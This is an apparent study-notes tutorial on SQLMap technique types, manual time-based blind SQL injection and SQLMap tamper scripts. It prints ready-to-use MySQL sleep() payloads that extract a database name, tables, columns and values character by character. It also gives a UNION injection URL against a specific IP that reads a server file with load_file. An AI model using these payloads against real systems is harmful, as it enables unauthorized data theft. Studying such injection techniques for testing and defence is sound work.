Time-based SQLMap and Tamper scripts construct
Types of SQLMap:
- Boolean-based blind: replaces or appends to the affected parameter in the HTTP request. Alternatively, the user can provide a string or regular expression to match on True pages.
- Time-based blind: For each HTTP response, by making a comparison between the HTTP response time with the original request, the tool inference the output of the injected statement character by character.
- Error-based: This technique works only when the web application has been configured to disclose back-end database management system error messages.
- UNION query-based: UNION ALL SELECT, execute the for loop
http://178.62.0.100:32104/portfolio.php?id=1 union all select 1,load_file("/var/www/html/administrat/panel.php),3--
- Stacked queries: piggybacking. it appends to the affected parameter in the HTTP request, a semi-colon (
;
) followed by the SQL statement to be executed.
Time-based blind injection:
How time-based blind injection works?
The function will use:
sleep(s) # the interval between execution
mid(s,n,len) # truncate specific ‘len' from nth in s
length(s) #return to the length of s
if(expr,v1, v2) # if expr is true, return to v1, otherwise return to v2
substring(s,n,len) $ truncate specific ‘len’ from nth in s
ascii(s) return the ascii code of the first character in s
limit # limit return query numbers
database() #current database
0x00: Database
guess the length of the database's name:
(if((length(database())=4),sleep(5),0))
If the length is 4, sleep 5 secs.
Guess the database's name:
if the first character is 'a', sleep 5 secs
sleep(if((mid(database(),1,1)="a"),5,0))
sleep(if((ascii(substr(database(),1,1)))=97),5,0))
0x01: Table
guess the table name's length and guess the name:
guess the table’s length:
(select sleep(if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6,5,0)))
guess the table’s name
(select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='c'),5,0)))
(select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='i'),5,0)))
(select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1)='t'),5,0)))
(select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1)='y'),5,0)))
0x02: Array
Guess the array:
Guess the length of the array:
(select sleep(if((select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='city' limit 0,1)=2,5,0)))
Guess the array name:
(select sleep(if((mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='city' limit 0,1),1,1)='I'),5,0))) (select sleep(if((mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='city' limit 0,1),2,1)='D'),5,0)))
0x03: Value
Guess value’s length
(select sleep(if((select length(ID) from world.city limit 0,1)=1,5,0)))
Guess value
(select sleep(if((mid((select ID from world.city limit 0,1),1,1)='1'),5,0)))
Tamper scripts :
What is Tamper used for?
Sometimes the websites only accept the specific encrypted data.
For example:
So SQLMap need to feed a specific type of data to do the injection.
We can use tamper scripts to encode the data first. SQLMap has its own encode scripts, named Tamper. These scripts located at '/usr/share/sqlmap/tamper' by default.
The command is :
sqlmap —tamper=base64
For example, base64:
Construct Tamper scripts
But sometimes the default tamper folder doesn't have a specific encode function, like JSON. Here is the script wrote by me referring to the base64 scripts.